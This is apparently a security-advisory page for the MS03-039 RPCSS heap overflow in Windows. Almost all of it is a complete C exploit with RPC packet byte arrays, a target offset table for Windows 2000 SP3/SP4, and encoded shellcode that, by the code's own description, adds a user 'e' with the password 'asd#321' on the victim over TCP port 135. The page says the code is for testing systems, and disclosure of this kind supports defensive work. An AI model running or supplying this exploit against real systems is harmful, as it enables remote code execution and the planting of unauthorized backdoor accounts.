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| As we reported in our previous article: Buffer Overrun In RPCSS Service Could Allow Code Execution, a vulnerability in the RPC server allows remote attackers to cause the service to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability. |
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Credit:
The information has been provided by ey4s.
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Exploit:
/*
http://www.xfocus.net/tools/200309/MS03-039-exp.c
??????TopLevelExceptionFilter,???call [ebp+74]???????????
http://www.immunitysec.com/papers/msrpcheap.pdf
http://www.immunitysec.com/papers/msrpcheap2.pdf
??falshsky & benjurry & Dave Aitel(??????^_^)
??exp?????????pskill rpcss,???????exp,??????????,
????????????,????????
*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
#pragma comment(lib,"ws2_32")
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
//user="e" pass="asd#321"
unsigned char sc_add_user[]=
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC"
"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8"
"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA"
"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED"
"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99";
#define sc_offset 0x24
#define sc_max 0x208
#define jmp_addr_offset sc_max+sc_offset+0x8
#define top_seh_offset jmp_addr_offset+0x4
unsigned char sc[]=
"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00"
"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00"
"\x43\x00\x24\x00\x5c\x00"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"\xe9\xf3\xfd\xff\xff"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
struct
{
char *os;
DWORD dwTopSeh;
char *seh;
DWORD dwJmpAddr;
char *jmp;
}
targets[] =
{
{ "2kEnSp4+MS03-026",
0x7c54144c,
"kernel32.dll v5.0.2195.6688",
0x77a1b496,
"OLEAUT32.dll v2.40.4522.0"},
{ "2kEnSp3+SomeHotFixs+MS03-026",
0x77eda1f0,
"kernel32.dll v5.0.2195.6079",
0x77a1afa9,
"OLEAUT32.dll v2.40.4518.0"}
}, v;
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
int i, iType;
printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
"Base on flashsky's MS03-026 exp\n"
"Code by ey4s<eyas#xfocus.org>\n"
"2003-09-16\n"
"Welcome to http://www.xfocus.net\n"
"Thanks to flashsky & benjurry & Dave Aitel\n"
"If success, target will add a user \"e\" and password is \"asd#321\"\n\n");
if(argc!=3)
{
printf("Usage: %s <target> <type>\n", argv[0]);
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf( "<%d> %s\n"
" TopSeh=0x%.8x in %s\n"
" JmpAddr=0x%.8x in %s\n",
i, targets[i].os,
targets[i].dwTopSeh, targets[i].seh,
targets[i].dwJmpAddr, targets[i].jmp);
return;
}
iType = atoi(argv[2]);
if((iType<0) || iType > sizeof(targets)/sizeof(v))
{
printf("[-] Wrong type.\n");
return;
}
memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
printf("[+] Prepare shellcode completed.\n");
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
printf("[+] Connect to %s:135 success.\n", argv[1]);
if(sizeof(sc_add_user) > sc_max)
{
printf("[-] shellcode too long, exit.\n");
return;
}
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //??????????
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//??????????
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
//?????????
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
len = send(sock,bindstr,sizeof(bindstr),0);
if(len<=0)
{
printf("[-] Send failed.Error:%d\n",WSAGetLastError());
return;
}
else
printf("[+] send %d bytes.\n", len);
len=recv(sock,buf1,1000,0);
if(len<=0)
{
printf("[-] recv error:%d\n", GetLastError());
return;
}
else
printf("[+] recv %d bytes.\n", len);
len = send(sock,buf2,len1,0);
if(len<=0)
{
printf("[-] Send failed.Error:%d\n",WSAGetLastError());
return;
}
else
printf("[+] send %d bytes.\n", len);
len=recv(sock,buf1,1024,0);
if(len<=0)
{
printf("[+] Target crash or exploit success? :)\n");
}
else
printf("[-] recv %d bytes. Bad luck!\n", len);
}
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